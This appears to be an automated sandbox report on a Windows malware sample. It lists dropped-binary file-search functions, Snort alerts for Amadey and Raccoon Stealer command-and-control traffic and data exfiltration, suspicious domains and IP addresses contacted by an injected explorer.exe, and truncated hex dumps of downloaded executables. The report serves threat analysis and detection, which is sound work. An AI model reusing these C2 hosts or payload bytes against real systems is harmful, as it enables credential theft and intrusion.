Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: F805.exe, 00000010.00000002.415183995.0000000000413000.00000002.00020000.sdmp, F805.exe, 00000010.00000000.371111845.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000016.00000002.414101701.00000000053D0000.00000002.00020000.sdmp
Source:	Binary string: VC:\vapep44\dasijubud\xerateyot\fobo.pdbh source: eIxMVDoQF3.exe, 00000000.00000000.272266280.0000000000401000.00000020.00020000.sdmp, eIxMVDoQF3.exe, 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, eIxMVDoQF3.exe, 00000001.00000000.275168488.0000000000401000.00000020.00020000.sdmp, rwjfsvd, 0000000E.00000002.368688662.0000000000401000.00000020.00020000.sdmp, rwjfsvd, 0000000E.00000000.362684220.0000000000401000.00000020.00020000.sdmp, rwjfsvd, 0000000F.00000000.365468817.0000000000401000.00000020.00020000.sdmp

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 0_2_00419AC9 BuildCommDCBAndTimeoutsW,CreateMailslotA,GetNamedPipeHandleStateA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,SetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameA,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeW,FindFirstFileExW,	0_2_00419AC9
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	23_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	23_2_00401280
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	23_2_00401090
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	23_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_00409970
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00578A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_00578A30
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_005714D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	23_2_005714D0
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_005712E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	23_2_005712E0
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00576090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_00576090
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00579930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	23_2_00579930
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00579BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_00579BC0
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00579D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	23_2_00579D90

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2018581 ET TROJAN Single char EXE direct download likely trojan (multiple families) 192.168.2.3:49873 -> 141.8.194.74:80
Source: Traffic	Snort IDS: 1087 WEB-MISC whisker tab splice attack 192.168.2.3:49877 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.3:49878 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.3:49897 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.3:49913 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 192.168.2.3:49913 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 192.168.2.3:49897 -> 185.163.204.24:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Domain query: a0621298.xsph.ru
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:02 GMTContent-Type: application/x-msdos-programContent-Length: 301056Connection: closeLast-Modified: Mon, 10 Jan 2022 12:06:49 GMTETag: "49800-5d5392be00934"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 32 74 07 b2 76 15 69 e1 76 15 69 e1 76 15 69 e1 68 47 fc e1 69 15 69 e1 68 47 ea e1 fc 15 69 e1 68 47 ed e1 5b 15 69 e1 51 d3 12 e1 71 15 69 e1 76 15 68 e1 f9 15 69 e1 68 47 e3 e1 77 15 69 e1 68 47 fd e1 77 15 69 e1 68 47 f8 e1 77 15 69 e1 52 69 63 68 76 15 69 e1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d4 e8 62 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 1e 01 00 00 f6 03 00 00 00 00 00 9f 2d 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 a7 ea 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 65 01 00 50 00 00 00 00 00 04 00 b0 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c5 1d 01 00 00 10 00 00 00 1e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 44 3f 00 00 00 30 01 00 00 40 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 84 02 00 00 70 01 00 00 24 02 00 00 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 10 01 00 00 00 04 00 00 12 01 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:07 GMTContent-Type: application/x-msdos-programContent-Length: 323584Connection: closeLast-Modified: Fri, 14 Jan 2022 03:59:02 GMTETag: "4f000-5d582d2c452d6"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 7a 3c cc e1 1b 52 9f e1 1b 52 9f e1 1b 52 9f ff 49 c7 9f fb 1b 52 9f ff 49 d1 9f 67 1b 52 9f c6 dd 29 9f e2 1b 52 9f e1 1b 53 9f 3e 1b 52 9f ff 49 d6 9f db 1b 52 9f ff 49 c6 9f e0 1b 52 9f ff 49 c3 9f e0 1b 52 9f 52 69 63 68 e1 1b 52 9f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e4 e0 b6 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 f6 03 00 00 a8 12 00 00 00 00 00 d0 c3 01 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 f0 16 00 00 04 00 00 24 33 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 f1 03 00 28 00 00 00 00 10 16 00 b8 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 16 00 f0 1d 00 00 90 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 91 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 62 f4 03 00 00 10 00 00 00 f6 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 c9 11 00 00 10 04 00 00 18 00 00 00 fa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 75 62 6f 6d 00 00 05 00 00 00 00 e0 15 00 00 02 00 00 00 12 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 78 61 6b 00 00 00 00 ea 00 00 00 00 f0 15 00 00 02 00 00 00 14 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 7a 61 77 61 78 69 67 93 0d 00 00 00 00 16 00 00 0e 00 00 00 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 83 00 00 00 10 16 00 00 84 00 00 00 24 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 47 00 00 00 a0 16 00 00 48 00 00 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:40 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:44 GMTContent-Type: application/x-msdos-programContent-Length: 373760Connection: closeLast-Modified: Wed, 12 Jan 2022 08:30:43 GMTETag: "5b400-5d55e62ba577e"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6c cb d2 55 28 aa bc 06 28 aa bc 06 28 aa bc 06 36 f8 29 06 31 aa bc 06 36 f8 3f 06 57 aa bc 06 0f 6c c7 06 2b aa bc 06 28 aa bd 06 f5 aa bc 06 36 f8 38 06 11 aa bc 06 36 f8 28 06 29 aa bc 06 36 f8 2d 06 29 aa bc 06 52 69 63 68 28 aa bc 06 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 61 a2 52 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 c2 04 00 00 76 12 00 00 00 00 00 40 a1 02 00 00 10 00 00 00 e0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 17 00 00 04 00 00 e2 26 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 be 04 00 28 00 00 00 00 b0 16 00 10 7b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 17 00 14 1d 00 00 80 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 8f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e8 c1 04 00 00 10 00 00 00 c2 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 bc 9f 11 00 00 e0 04 00 00 18 00 00 00 c6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 69 7a 69 00 00 00 05 00 00 00 00 80 16 00 00 02 00 00 00 de 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 75 72 00 00 00 00 ea 00 00 00 00 90 16 00 00 02 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 77 6f 62 00 00 00 00 93 0d 00 00 00 a0 16 00 00 0e 00 00 00 e2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 7b 00 00 00 b0 16 00 00 7c 00 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 46 00 00 00 30 17 00 00 48 00 00 00 6c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:54 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:57 GMTContent-Type: application/x-msdos-programContent-Length: 557664Connection: closeLast-Modified: Thu, 13 Jan 2022 19:20:04 GMTETag: "88260-5d57b92d7ebed"Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 